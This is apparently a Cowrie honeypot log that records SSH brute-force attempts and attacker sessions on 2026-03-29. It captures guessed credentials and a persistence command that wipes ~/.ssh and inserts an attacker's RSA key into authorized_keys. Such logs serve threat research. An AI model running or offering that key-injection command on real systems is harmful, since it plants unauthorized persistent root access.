{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.654967Z","src_ip":"37.139.8.32","session":"602f1054eb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:20:18.660572Z","src_ip":"37.139.8.32","session":"c6950e3818be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.233.134","src_port":52738,"dst_ip":"10.17.0.5","dst_port":22,"session":"90840faab517","protocol":"ssh","message":"New connection: 45.65.233.134:52738 (10.17.0.5:22) [session: 90840faab517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:04.714480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:04.718675Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:04.799686Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ts123456","message":"login attempt [root/ts123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.154317Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.355500Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.358839Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.362510Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.446989Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.647927Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.651493Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.738610Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.742588Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.233.134","src_port":52740,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e3715efa53","protocol":"ssh","message":"New connection: 45.65.233.134:52740 (10.17.0.5:22) [session: d2e3715efa53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.814984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.819467Z","src_ip":"45.65.233.134","session":"d2e3715efa53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:05.899411Z","src_ip":"45.65.233.134","session":"d2e3715efa53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:06.249761Z","src_ip":"45.65.233.134","session":"d2e3715efa53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.332411Z","src_ip":"45.65.233.134","session":"d2e3715efa53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.233.134","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab46724c9d42","protocol":"ssh","message":"New connection: 45.65.233.134:52756 (10.17.0.5:22) [session: ab46724c9d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.410238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.414877Z","src_ip":"45.65.233.134","session":"ab46724c9d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.498907Z","src_ip":"45.65.233.134","session":"ab46724c9d42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.854802Z","src_ip":"45.65.233.134","session":"ab46724c9d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.938836Z","src_ip":"45.65.233.134","session":"90840faab517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:21:07.943777Z","src_ip":"45.65.233.134","session":"ab46724c9d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":45430,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5a577c7510","protocol":"ssh","message":"New connection: 80.94.92.168:45430 (159.203.135.109:22) [session: ca5a577c7510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:22:35.067375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:22:35.123696Z","src_ip":"80.94.92.168","session":"ca5a577c7510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:22:35.238789Z","src_ip":"80.94.92.168","session":"ca5a577c7510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:22:35.710042Z","src_ip":"80.94.92.168","session":"ca5a577c7510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:22:37.015692Z","src_ip":"80.94.92.168","session":"ca5a577c7510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":37226,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa60f84db520","protocol":"ssh","message":"New connection: 14.225.2.125:37226 (159.203.135.109:22) [session: fa60f84db520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:50.653124Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:50.908427Z","src_ip":"14.225.2.125","session":"fa60f84db520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":37246,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c9dd35165f","protocol":"ssh","message":"New connection: 14.225.2.125:37246 (159.203.135.109:22) [session: 92c9dd35165f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:51.171798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:51.176334Z","src_ip":"14.225.2.125","session":"92c9dd35165f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:51.435681Z","src_ip":"14.225.2.125","session":"92c9dd35165f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chen","password":"ecnuchen1","message":"login attempt [chen/ecnuchen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:52.212572Z","src_ip":"14.225.2.125","session":"92c9dd35165f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:27:53.473929Z","src_ip":"14.225.2.125","session":"92c9dd35165f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":59254,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61dff0d0306","protocol":"ssh","message":"New connection: 157.245.10.239:59254 (10.17.0.5:22) [session: f61dff0d0306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.190968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.196004Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.200768Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456789","message":"login attempt [root/123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.210872Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.310191Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.313619Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.326040Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:08.332317Z","src_ip":"157.245.10.239","session":"f61dff0d0306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.109","src_port":54064,"dst_ip":"10.17.0.5","dst_port":23,"session":"045d58bf894e","protocol":"telnet","message":"New connection: 176.65.148.109:54064 (10.17.0.5:23) [session: 045d58bf894e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:16.275758Z"}
{"eventid":"cowrie.session.closed","duration":30.098088264465332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:29:46.373738Z","src_ip":"176.65.148.109","session":"045d58bf894e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.78.217","src_port":42450,"dst_ip":"159.203.135.109","dst_port":22,"session":"57fdcda986ca","protocol":"ssh","message":"New connection: 103.67.78.217:42450 (159.203.135.109:22) [session: 57fdcda986ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:08.060623Z"}
